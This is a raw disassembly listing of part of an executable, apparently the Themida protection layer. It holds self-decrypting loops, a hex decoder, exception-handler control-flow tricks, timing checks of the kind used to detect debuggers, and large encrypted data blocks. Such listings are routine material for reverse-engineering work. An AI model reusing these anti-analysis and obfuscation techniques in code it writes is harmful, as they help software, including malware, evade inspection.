		retn	4
sub_585B47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_585B8D	proc near		; CODE XREF: start+70A95p start+70A9Fp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 0AE336AAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_585BB3:				; CODE XREF: sub_585B8D+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_585BB3
		mov	[ebp+var_84], 0
		lea	edi, [edx+0AE335CBh]
		lea	esi, [ebp+var_80]


loc_585BE3:				; CODE XREF: sub_585B8D+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_585BEF:				; CODE XREF: sub_585B8D+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_585BEF
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_585BE3
		popa
		leave
		retn	4
sub_585B8D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_585C2D
; ---------------------------------------------------------------------------


loc_585C29:				; CODE XREF: Themida_:00585C30j
		inc	dword ptr [ebp-4]
		inc	esi


loc_585C2D:				; CODE XREF: Themida_:00585C27j
		cmp	byte ptr [esi],	0
		jnz	short loc_585C29
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_585CBE
; ---------------------------------------------------------------------------


loc_585C3F:				; CODE XREF: Themida_:00585CC1j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_585CB5
; ---------------------------------------------------------------------------


loc_585C48:				; CODE XREF: Themida_:00585CB9j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_585CA2
; ---------------------------------------------------------------------------


loc_585C58:				; CODE XREF: Themida_:00585CA6j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_585C7A
		cmp	bl, 39h
		ja	short loc_585C7A
		sub	bl, 30h
		jmp	short loc_585C9C
; ---------------------------------------------------------------------------


loc_585C7A:				; CODE XREF: Themida_:00585C6Ej
					; Themida_:00585C73j
		cmp	bl, 61h
		jb	short loc_585C8C
		cmp	bl, 66h
		ja	short loc_585C8C
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_585C9C
; ---------------------------------------------------------------------------


loc_585C8C:				; CODE XREF: Themida_:00585C7Dj
					; Themida_:00585C82j
		cmp	bl, 41h
		jb	short loc_585C9C
		cmp	bl, 46h
		ja	short loc_585C9C
		sub	bl, 41h
		add	bl, 0Ah


loc_585C9C:				; CODE XREF: Themida_:00585C78j
					; Themida_:00585C8Aj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_585CA2:				; CODE XREF: Themida_:00585C56j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_585C58
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_585CB2
		mov	eax, [ebp-10h]
		stosb


loc_585CB2:				; CODE XREF: Themida_:00585CACj
		inc	dword ptr [ebp-8]


loc_585CB5:				; CODE XREF: Themida_:00585C46j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_585C48
		add	edx, 4


loc_585CBE:				; CODE XREF: Themida_:00585C3Dj
		cmp	edx, [ebp-4]
		jb	loc_585C3F
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_585CD1:				; CODE XREF: start+70AA4j
		mov	ecx, 7000h
		lea	edi, [ebp+0AE337F0h]


loc_585CDC:				; CODE XREF: start+70CCCj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_585CDC
		mov	eax, 48692121h
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+0AE33919h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	edi
		call	sub_585D18
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_585D18	proc near		; CODE XREF: start+70CFCp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_585D18	endp

; ---------------------------------------------------------------------------
		dd 9A895DB5h, 0EF800566h, 4870FA0h, 50000000h, 8A5B5B53h
		dd 0EE8FEh, 34F70000h, 5C8A42Fh, 2927A4DCh, 9EC23187h
		dd 2B5BDE8Bh, 0BE9C2h, 0FB40000h, 0C8AFF110h, 418B22A6h
		dd 0F0002534h, 8B60FFFFh, 0C18160DFh, 3B165266h, 61616160h
		dd 93DEE381h, 0CA8B3090h, 8166FF33h, 755A4D38h,	50B70F0Eh
		dd 81D0033Ch, 45503Ah, 2D087400h, 1000h, 64E3EB47h, 58Fh
		dd 0C4830000h, 2C958D04h, 520AE339h, 35FF64h, 64000000h
		dd 2589h, 0C1030000h, 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh
		dd 80000000h, 708B0376h, 83C0331Ch, 1F7432F8h, 4D3E8166h
		dd 8109745Ah, 10000EEh,	0EBEB4000h, 33C7E8Bh, 503F81FEh
		dd 74000045h, 64E8EB44h, 58Fh, 0C4830000h, 51C36104h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 8B51C3C0h, 5510244Ch
		dd 0E8h, 0ED815D00h, 0AE33937h,	38F5858Dh, 81890AE3h, 0B8h
		dd 0C033595Dh, 8F6496C3h, 5, 4C48300h, 8BDA8B66h, 51006ADAh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 12E9EAh, 9B390000h, 0D0E70C9h, 0F1731135h, 0D623D188h
		dd 0E8760D89h, 66D98C66h, 0E675F381h, 0F04E180h, 680h
		dd 0B70F6000h, 0A61F8FAh, 5D850FC9h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0A94C351h, 2317184Ah, 6985C7F5h, 10AE322h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 1698C351h, 720E4F6Ah, 6C79EDA4h, 0E9DE8B66h
		dd 10h,	8B57BB66h, 226985C7h, 0AE3h, 0D88B0000h, 31458589h
		dd 0FE90AE3h, 0CD000000h, 189EED73h, 0F259960Bh, 0EE434644h
		dd 85896AB7h, 0AE32F11h, 0EE8h,	59D17E00h, 0EF46A8EBh
		dd 1658A26Ch, 8174682Ah, 1E7C00E1h, 5E95A19h, 54000000h
		dd 0FB19983Ah, 6D61C281h, 8E0F0000h, 3,	0B857C980h, 1B2Fh
		dd 7FD18166h, 66328BB2h, 81AD7FBFh, 0E47182F6h,	81C88B39h
		dd 79B1CEEEh, 0FFBF0F4Ah, 0B655C681h, 81663490h, 898555F1h
		dd 0CF806032h, 0D0BF0FC4h, 0ACEA8161h, 815825CFh, 0EDA2D5F1h
		dd 0A8C2810Eh, 605825CFh, 61D0BF0Fh, 0F850F48h,	80000000h
		dd 1FE905E1h, 63000000h, 45FAD526h, 0DD80521Eh,	0FF9FE99Eh
		dd 9754FFFFh, 7F298F0Ch, 0FD3C2A22h, 659B5548h,	4EBBEE2h
		dd 21Bh, 6F2E9h, 0FDB58900h, 600AE32Dh,	0FC02BF5h, 68Bh
		dd 0B58D8900h, 8B0AE329h, 31282454h, 0E3178DBDh, 2D85890Ah
		dd 0FC0AE32Ch, 3CBEh, 7870F00h,	0F000000h, 187h, 7403F500h
		dd 66FC2424h, 55B509ADh, 30AE311h, 60242444h, 1C6D8D03h
		dd 11E90AE3h, 0F9000000h, 5DA817Eh, 0B5240BD6h,	0F35A0C74h
		dd 0EC61E7C6h, 66609061h, 66CE97BEh, 5061C88Bh,	0F78B6660h
		dd 8BF59061h, 0B5897840h, 0AE3191Dh, 244403FCh,	2DB58928h
		dd 8B0AE31Dh, 66601840h, 0B58BC38Bh, 0AE32531h,	820F4061h
		dd 19h,	14E9h, 0FAC9D500h, 0E96B26C1h, 8EF38255h, 646DC87Ch
		dd 7E926CBFh, 0EA858964h, 0E90AE33Ah, 10h, 0E9AC939Bh
		dd 0C2AB1250h, 4B3E0B60h, 7646D1B5h, 840F6058h,	15h, 0FE8h
		dd 1BCE3000h, 0C3C74CF6h, 6480692Eh, 1BAEC4A0h,	0A5950B5Eh
		dd 610AE319h, 0F78708Bh, 1985h,	14E900h, 0AE4C0000h, 0C5E5FDB3h
		dd 8EE42CE1h, 0DFE50FAFh, 0DEE88B2Bh, 0B5892244h, 0AE31CD9h
		dd 11CC683h, 0E31681B5h, 2474030Ah, 25858924h, 8D0AE302h
		dd 0E32DC9BDh, 8166600Ah, 816081CBh, 0D3EAE7DFh, 89AD6104h
		dd 0E31379B5h, 2444030Ah, 13E924h, 5E2E0000h, 3147B87Ch
		dd 0C5A13782h, 0EED06C65h, 64D6F4C6h, 0BD09ABAEh, 0AE32D71h
		dd 1739BD8Dh, 95890AE3h, 0AE318DDh, 850360ADh, 0AE3292Dh
		dd 0FEBF0F56h, 0DE9615Eh, 9B000000h, 0E81CDB3Eh, 0AF9AB839h
		dd 0F92AE11Bh, 24244403h, 1C890Fh, 0B2600000h, 13E9AEh
		dd 2FD70000h, 60B34321h, 947B51D2h, 175EABAEh, 9FA4159h
		dd 0E990614Fh, 11h, 0B5AEF67Dh,	0E7311246h, 0ECFDB8E2h
		dd 26ED6B9Ah, 0B860508Fh, 7B447875h, 5A5E5051h,	85899061h
		dd 0AE30901h, 0BD8DF5ABh, 0AE323A9h, 0DE9h, 0C2E8FF00h
		dd 0CF723B6Fh, 0C4576B54h, 0F5ADDD47h, 28244403h, 6CD9D89h
		dd 0F8AB0AE3h, 3DBD895Eh, 0FF0AE31Eh, 0E33AEA8Dh, 0EABD830Ah
		dd 0AE33Ah, 44C71075h, 1C24h, 0B58D0000h, 0AE33F87h, 0AD56E6FFh
		dd 28244403h, 8ADF8B97h, 0E31CF185h, 74C0840Ah,	75073A04h
		dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h
		dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h,	973D8D1h
		dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h
		dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh
		dd 2D85FF04h, 0E90AE32Ch, 0FFFFFF6Fh, 0DD9D895Eh, 310AE32Eh
		dd 0E31679BDh, 2D858B0Ah, 0E90AE32Ch, 12h, 6E54E442h, 0AFBA5F4Ch
		dd 0E14FE3BBh, 0B6989116h, 0E0D19C34h, 21950160h, 0BE0AE335h
		dd 37367FB8h, 0A9850361h, 890AE323h, 0E305019Dh, 89F62B0Ah
		dd 0E322C5B5h, 7E90Ah, 65140000h, 0E4A9885h, 13E996C7h
		dd 77000000h, 0CACFE8E2h, 2EB20379h, 8496AC0Ah,	0D5A6953Dh
		dd 0AD66967Ah, 0E840Fh,	81600000h, 9F234D3h, 0BD8D2B17h
		dd 610AE316h, 0F902E0C1h, 0C98503F8h, 0E90AE32Dh, 0Fh
		dd 190FB360h, 0D70B1730h, 89CFAB2h, 29438843h, 0E32305BDh
		dd 13E9960Ah, 26000000h, 9F5E638Ah, 2DBFAB35h, 59481168h
		dd 16A136ECh, 8C0FF751h, 1, 8E9ADF5h, 0D2000000h, 0BEA2512h
		dd 8B043A38h, 8924244Ch, 0E312A19Dh, 2444030Ah,	14E924h
		dd 71B60000h, 311A5BABh, 547F0BFFh, 273C141Bh, 0B600B4F1h
		dd 0B509A2ACh, 0AE3330Dh, 1C244489h, 23898501h,	0F960AE3h
		dd 186h, 89ACF900h, 0E3176995h,	89C9320Ah, 0E31611BDh
		dd 89C1FE0Ah, 0E32535B5h, 0FD0D00Ah, 0AC83h, 16850F00h
		dd 0E9000000h, 11h, 286C5D56h, 0ED26EB7Fh, 4BBAC3F3h, 9CFE1CD1h
		dd 0FD0D0ECh, 8883h, 0CD9D8900h, 0D00AE304h, 7A820FD0h
		dd 0F8000000h, 820FD0D0h, 71h, 0FC9FEF5h, 0FFFFB489h, 8B6660FFh
		dd 5E8C3h, 0E5AD0000h, 80EBCBB5h, 615AA3E7h, 6020C483h
		dd 9E8h, 6D6FA400h, 428362F1h, 0C28B8CFAh, 5F56605Eh, 136D9D89h
		dd 61610AE3h, 0FC2444C7h, 0
; ---------------------------------------------------------------------------
		jbe	loc_58645D
		jmp	loc_58645D
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------
		enter	0FFFFFCD4h, 0B9h
		push	ebp


loc_58645D:				; CODE XREF: Themida_:0058644Cj
					; Themida_:00586452j
		mov	eax, 1
		mov	[ebp+0AE31909h], edx
		lea	ecx, [ebp+0AE37204h]
		jb	loc_586475
		cld


loc_586475:				; CODE XREF: Themida_:0058646Ej
		jmp	ecx
; ---------------------------------------------------------------------------
		cld
		cld
		mov	byte ptr [ebp+0AE31CF1h], 0
		mov	[ebp+0AE320D5h], esi
		popa
		jge	locret_586499
		jo	locret_586499
		xor	[ebp+0AE31669h], edi

locret_586499:				; CODE XREF: Themida_:00586487j
					; Themida_:0058648Dj
		retn	8
; ---------------------------------------------------------------------------
		dd 1F658D29h, 85010AE3h, 0AE31829h, 24850F50h, 50000000h
		dd 0F525052h, 0F585A31h, 13E931h, 0D6430000h, 58B12AE9h
		dd 0D239A23Fh, 2D7F5A10h, 2304B628h, 89585A1Bh,	85892434h
		dd 0AE32319h, 41BFB589h, 0EE90AE3h, 29000000h, 0B6C4E8E1h
		dd 0B11571B8h, 36D48AD1h, 0CB8D89F9h, 0F0AE341h, 680h
		dd 1852900h, 8D0AE332h,	0E3406CB5h, 5585890Ah, 8D0AE329h
		dd 5B8EA185h, 6800F00h,	1000000h, 0E333D585h, 0FD0FF0Ah
		dd 1286h, 0DE900h, 21560000h, 1C6F2DE4h, 0C702EF3Ch, 5E0129E9h
		dd 11E9h, 0D47C1A00h, 41789750h, 6522F0EBh, 7A5E04C3h
		dd 0FC3A6C1h, 18Ch, 0B58BF500h,	0AE341BFh, 1C8BE60h, 0BD8B3F78h
		dd 0AE312CDh, 0CB8D8B61h, 0F80AE341h, 0B8h, 13E900h, 0C9120000h
		dd 590FF359h, 0A508BE89h, 388B5B1Ah, 6DB872BAh,	0F8D98B54h
		dd 0DBE9h, 13E900h, 90160000h, 0C7E8AA01h, 9A57912Fh, 1C2B3264h
		dd 71D24058h, 6026328Fh, 14FD9D8Bh, 66530AE3h, 580EB8BFh
		dd 0E902B261h, 0Ch, 0A0FC0DDFh,	0F74E152Ch, 471274B3h
		dd 65E9h, 6860F00h, 89000000h, 0E303F5BDh, 60C2320Ah, 1AE99D89h
		dd 0BD8B0AE3h, 0AE31DE1h, 0D9D8961h, 50AE31Dh, 8A751D7Ah
		dd 34B58D89h, 0CC8A0AE3h, 0BD03F860h, 0AE33071h, 29C8D361h
		dd 0E32C718Dh, 0B501600Ah, 0AE304A9h, 8423561h,	880F98D1h
		dd 1, 0E9CAFEF8h, 0Ah, 2F805A23h, 0E4DAA6F0h, 0D20AD92Ch
		dd 0FF9F850Fh, 8D0FFFFFh, 7, 74F68060h,	4B61F88Bh, 66C68B60h
		dd 0E9FACE81h, 95896061h, 0AE330C9h, 35B58B57h,	5E0AE310h
		dd 0B5014661h, 0AE31E51h, 850FDB0Bh, 0FFFFFF35h, 68E0Fh
		dd 85010000h, 0AE323A1h, 8B6AB460h, 0E32F518Dh,	0FCF610Ah
		dd 148Dh, 0FE900h, 17E80000h, 2B27C633h, 0B536E8B3h, 6C9A0FDEh
		dd 0F800009Fh, 66600000h, 0FCC7D1BBh, 0FC000061h, 0BD890000h
		dd 0AE3200Dh, 0AE9h, 97A71B00h,	0C301DB49h, 8D86EF00h
		dd 0E33AF985h, 8D0F600Ah, 6, 15CDBD09h,	89610AE3h, 0E32D5985h
		dd 12E90Ah, 0BF590000h,	26CDBF0Bh, 146E4CEFh, 20829081h
		dd 87471E20h, 3FB6858Dh, 9D010AE3h, 0AE322D1h, 32C98589h
		dd 10E80AE3h, 0F2000000h, 0A596BF0Eh, 0DECA02D8h, 908B1336h
		dd 0F4234ACh, 481h, 0D6BE6600h,	12E8588Bh, 58000000h, 3C5D26DBh
		dd 6C53225Eh, 46DF6AC6h, 2BA31E64h, 21B58B2Fh, 5E0AE319h
		dd 5CA5C081h, 8B660000h, 0A17DBBF1h, 0F38158BDh, 58BDB791h
		dd 138D958Bh, 88B0AE3h,	68F0Fh,	0BD330000h, 0AE31491h
		dd 0FEDEF181h, 0C1817D99h, 7BE96477h, 0F5858B60h, 8A0AE320h
		dd 0C18161D7h, 72E84C72h, 46EF8166h, 95895189h,	0AE32FE1h
		dd 9533008Fh, 0AE30921h, 0F04E883h, 0EB81FFBFh,	1, 2A850Fh
		dd 0FE90000h, 0BD000000h, 14102CCDh, 0FA269E53h, 194E1FA8h
		dd 3DE938E1h, 8C000000h, 75CC1A9Ch, 6D0FA743h, 950C8591h
		dd 0BC9DFE7Fh, 13E9h, 0B8ECDB00h, 783D39D7h, 9FEA7147h
		dd 92D86E1h, 47CAA5F8h,	0FFFF69E9h, 0DEDE62FFh,	66ACFA62h
		dd 1F22F2B7h, 6DA5ED58h, 14EBh,	3 dup(0)
		dd 0E40000h, 858D0000h,	0AE343F4h, 1CA18589h, 0BD830AE3h
		dd 0AE34334h, 35840F00h, 0C6000001h, 0E31CF185h, 4E8560Ah
		dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h
		dd 0E33145B5h, 0F9858D0Ah, 0FF0AE33Ah, 288589D0h, 0C60AE343h
		dd 0E31CF185h, 8F68560Ah, 81DBF7A4h, 1CDD2434h,	0B5FF475Fh
		dd 0AE33145h, 3AF9858Dh, 0D0FF0AE3h, 432C8589h,	46A0AE3h
		dd 22319A68h, 240481DFh, 20DDDE66h, 4338858Bh, 0F4050AE3h
		dd 0C1000001h, 895002E0h, 6A2404h, 432C95FFh, 85890AE3h
		dd 0AE34330h, 0FFB8D88Bh, 0FFFFFFFFh, 0E31CA195h, 0FFC38B0Ah
		dd 0E31CA195h, 96E90Ah,	0BD830000h, 0AE34334h, 1850F00h
		dd 0C3000000h, 30BD8B57h, 0AB0AE343h, 43308583h, 5F040AE3h
		dd 34BD83C3h, 0AE343h, 1850Fh, 60C30000h, 4330AD83h, 8B040AE3h
		dd 0E343309Dh, 0FC7B830Ah, 26850FFFh, 0E8000000h, 4, 8000h
		dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 432895FFh
		dd 0C3610AE3h, 26E9h, 4E800h, 80000000h, 8B500000h, 8B042444h
		dd 24448900h, 6A5804h, 95FF33FFh, 0AE34328h, 4330AD83h
		dd 0E9040AE3h, 0FFFFFF9Fh, 9D3E948h, 71520000h,	0B1C328B8h
		dd 0E87D531Ch, 0A9F90334h, 199BD297h, 0A1AF715Bh, 0F856048Ch
		dd 6766556Eh, 570FABEAh, 0F3C825B8h, 0FF6F5B10h, 0BBE85066h
		dd 52949790h, 0ABDF1234h, 0F94B1086h, 67660762h, 5400ADE8h
		dd 0F3D225B8h, 0E075460Fh, 0A5F44E66h, 5C80808Bh, 0E7EB715Fh
		dd 0E84B1491h, 2967552Fh, 4214ADFDh, 0BCD43CB8h, 0E07B460Eh
		dd 68h,	62h dup(0)
		dd 71520000h, 0BDC921B8h, 0FF754000h, 0A7E35366h, 11988083h
		dd 0B4EE771Eh, 0F95D13C3h, 66750720h, 1005ACF1h, 0BDC839EAh
		dd 0AD7D5A00h, 0B1B14D2Fh, 5C8B878Bh, 0B3FC664Dh, 96161C86h
		dd 6C7F7743h, 1C04B1E5h, 0BFC839B8h, 0AD7E5506h, 0AEB1572Fh
		dd 5C949D96h, 0A8E27A53h, 0FD180891h, 7B334320h, 5115B1E1h
		dd 0AA8638EAh, 0AD684106h, 0AFFE5136h, 52949396h, 48h dup(0)
		dd 71520000h, 0B2D42FB8h, 0FF7F5F0Ah, 0BCB15061h, 5C959D8Bh
		dd 0E7FC7E56h, 0F25D1481h, 7C7C416Eh, 4241A6EAh, 0BAC822EDh
		dd 0E43A5307h, 0A7E80328h, 0FD98091h, 0A2FB6C47h, 91325F8Eh
		dd 68764B1Eh, 104DA7F7h, 0BCCA22EDh, 0E43A5008h, 0BAF70332h
		dd 11D99F8Bh, 0B5E0725Bh, 0F259519Ah, 6C61072Ah, 4200B6F7h
		dd 0BCDF6CECh, 0FD3A461Ch, 0BAF64C34h, 0D79F85h, 61h dup(0)
		dd 76520000h, 0F3C320F1h, 0FF685B0Ah, 0ADE55333h, 5CD7D380h
		dd 0B4E6776Ah, 0F34A01C3h, 64725529h, 4300AAA4h, 0B6C32EB8h
		dd 0EC771407h, 0BDE14A28h, 198D9388h, 0A9EE3F5Ah, 0FD555187h
		dd 3764537h, 1715AB89h,	0BDCF6CEBh, 0F979510Fh,	0AAB14723h
		dd 5C98D29Dh, 0B2FD7668h, 0EE575190h, 6861446Eh, 5404A9E7h
		dd 0BBF26CB6h, 0EB3A4700h, 0E8F44F2Fh, 5B979D93h, 0A8F83F4Ah
		dd 0FD181A91h, 667E5E20h, 4FA7F6h, 0E0h	dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 10h
		dd 0
		dd 2CB1E900h, 9D8B0000h, 0AE31E49h, 57006AFCh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 605A03A1h
		dd 0BF0F3933h, 0BE9DFh,	0ADC20000h, 66C33FBFh, 0A48DB49Ch
		dd 0E9C08BB6h, 10h, 53926B91h, 6083085Ch, 9824D082h, 8EFCD3D3h
		dd 2569BD83h, 75000AE3h, 8DBD8309h, 0AE319h, 53501374h
		dd 1B8C08Bh, 8D000000h,	0E5DC679Dh, 5BD3FF0Ah, 8DBD8358h
		dd 0AE319h, 53501174h, 1B8h, 189D8D00h,	0FF0AE5DBh, 0B2585BD3h
		dd 18860F62h, 0E9000000h, 13h, 7D86B150h, 3149CD88h, 1B335ACCh
		dd 5AE75925h, 8041FCBCh, 0C08B08EFh, 51858950h,	5B0AE31Fh
		dd 0BD83D88Bh, 0AE32951h, 38840F00h, 8B000001h,	0E31C5995h
		dd 8DBD830Ah, 0AE305h, 125840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 24337DC3h
		dd 8BF88ADDh, 0E3334195h, 9D89600Ah, 0AE3320Dh,	58D858Bh
		dd 6A0AE3h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 57A4CCC3h, 8B302DB7h, 0E317599Dh,	0B0C3800Ah
		dd 3E805h, 5BF38100h, 90347C18h, 0E95088B2h, 7,	4AB7CED4h
		dd 9009B7A3h, 8DD88B66h, 0E34E4A85h, 500AB70Ah,	6EB35352h
		dd 4895B5Bh, 858DF924h,	0AE34E28h, 5BDE90BAh, 0BB66900Eh
		dd 6650113Bh, 2990D38Bh, 0E3157995h, 6195FF0Ah,	0B30AE32Eh
		dd 0CC48337h, 1D898D89h, 858D0AE3h, 0AE34E28h, 3258E281h
		dd 0F903E87h, 584h, 5BC1BB00h, 605024A1h, 50CF8B60h, 8B666158h
		dd 6A9061CFh, 0DEB70F02h, 430FD9BAh, 1495FF26h,	60006AEDh
		dd 0E8ACE880h, 12h, 0ECC46E3Ch,	5D13B0F3h, 0DA0D2587h
		dd 0B2EFACF9h, 870F4662h, 0
; ---------------------------------------------------------------------------
		pop	esi
		popa
		popa
		and	bl, 28h
		jmp	loc_58755F
; ---------------------------------------------------------------------------
		db 16h
		dd 42F31683h
		db 0Ah,	28h, 7Dh
; ---------------------------------------------------------------------------


loc_58755F:				; CODE XREF: Themida_:00587552j
		mov	dword ptr [ebp+0AE34E5Bh], 1
		xor	bx, 0D0BDh
		xchg	eax, esi
		pusha
		push	eax
		push	edx
		pusha
		popa
		rdtsc
		pusha
		popa
		pop	edx
		pop	eax
		jo	loc_587585
		mov	edx, 733F830h


loc_587585:				; CODE XREF: Themida_:0058757Aj
		popa
		push	eax
		mov	dl, 4Ch
		xchg	eax, esi
		mov	[ebp+0AE34E0Ch], esi
		push	0
		push	eax
		call	sub_58759B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58759B	proc near		; CODE XREF: Themida_:00587593p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_58759B	endp

; ---------------------------------------------------------------------------
		db 20h
		dd 0AE8B580h, 39000000h, 0A61C1973h, 0E8B0024Eh, 0D0B70F8Dh
		dd 69BD835Ah, 10AE322h,	52850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 196715C3h
		dd 97B09758h, 10E9D8h, 0D8610000h, 0A590FA3Eh, 0EFF0EE12h
		dd 8C5928F6h, 0F883FADBh, 11850F05h, 29000000h,	0E3078195h
		dd 0B80Ah, 9D090000h, 0AE332F5h, 23C9BD83h, 0F000AE3h
		dd 3084h, 6840F00h, 9000000h, 0E32DB5BDh, 71BB600Ah, 0FF58153Bh
		dd 0E323C995h, 0BEB6510Ah, 0D38B665Bh, 42BA6661h, 68E0FB2h
		dd 89000000h, 0E317F985h, 0E5BD830Ah, 0AE321h, 0D840Fh
		dd 29B70000h, 0B8h, 0D9D8B00h, 600AE311h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 9AC35545h, 37B4DE58h
		dd 0BE813h, 8AC10000h, 0CD124A24h, 757E85DBh, 0C5958BADh
		dd 5B0AE323h, 1A65858Bh, 0BD890AE3h, 0AE32ED5h,	0F02C083h
		dd 8589DEB7h, 0AE34E04h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0EFC35343h, 5885250Fh, 8B04E7B3h, 0E317499Dh
		dd 0FF00C60Ah, 85C6DD8Ah, 0AE31CF1h, 52006A53h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 115658E2h
		dd 0CD32DEAEh, 9D23D6FBh, 0AE32CCDh, 4E8h, 0B148D800h
		dd 50D88BFCh, 0E8C0Fh, 52500000h, 310FFD8Ah, 310F5250h
		dd 585A585Ah, 424448Bh,	0B65BB66h, 0F60008Bh, 83h, 9E900h
		dd 0D7950000h, 86C7198Ch, 61FBDB3Bh, 4244489h, 2830Fh
		dd 7B60000h, 53006A58h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 92CC8907h, 354FD79Eh, 8D1BD89h, 0D78A0AE3h
		dd 2F11B5FFh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 9341D0C3h, 7C24E452h, 0F6385BEh
		dd 858DD7BFh, 0AE6ACF3h, 0AE9h,	44AE5700h, 435BD272h, 0FF5C56ADh
		dd 89D3B3D0h, 0E31CD185h, 0C281660Ah, 0BD833F11h, 0AE31565h
		dd 0B8850F01h, 31000000h, 0E315F18Dh, 18B7610Ah, 1CF185C6h
		dd 6A450AE3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 68EDC356h, 96CAFE1Bh, 4ED4BB66h
		dd 0A7240481h, 8943953Ah, 0E32F5D9Dh, 11B5FF0Ah, 810AE32Fh
		dd 6A906BE3h, 0F3858D36h, 6A0AE6ACh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0FBB6C357h
		dd 0FF82DA80h, 14E9D0h,	0E0E70000h, 1F342789h, 8390887Ah
		dd 0BD750EA8h, 82561B6Eh, 6AEF36h, 0C4D2BB66h, 6AD0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0B3799AC3h, 83F92DB6h, 0E31401BDh, 850F010Ah, 0D9h
		dd 0A9858960h, 660AE305h, 8B61C28Bh, 0E31A6585h, 4870F0Ah
		dd 66000000h, 0E99C38BBh, 9Eh, 3CC38166h, 35B7907Ch, 48F0F50h
		dd 66000000h, 905BE3BBh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0C3C35141h, 393AD7E3h, 0D41DD1FAh, 6A146Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0FE6645C3h, 13E442BBh, 0FFF98A3Ch, 0E31CD195h, 6810F0Ah
		dd 9000000h, 0E31D458Dh, 6A580Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 750940C3h, 28A0FDEh
		dd 8B000000h, 6665B2D1h, 3880D68Bh, 5E850F00h, 89FFFFFFh
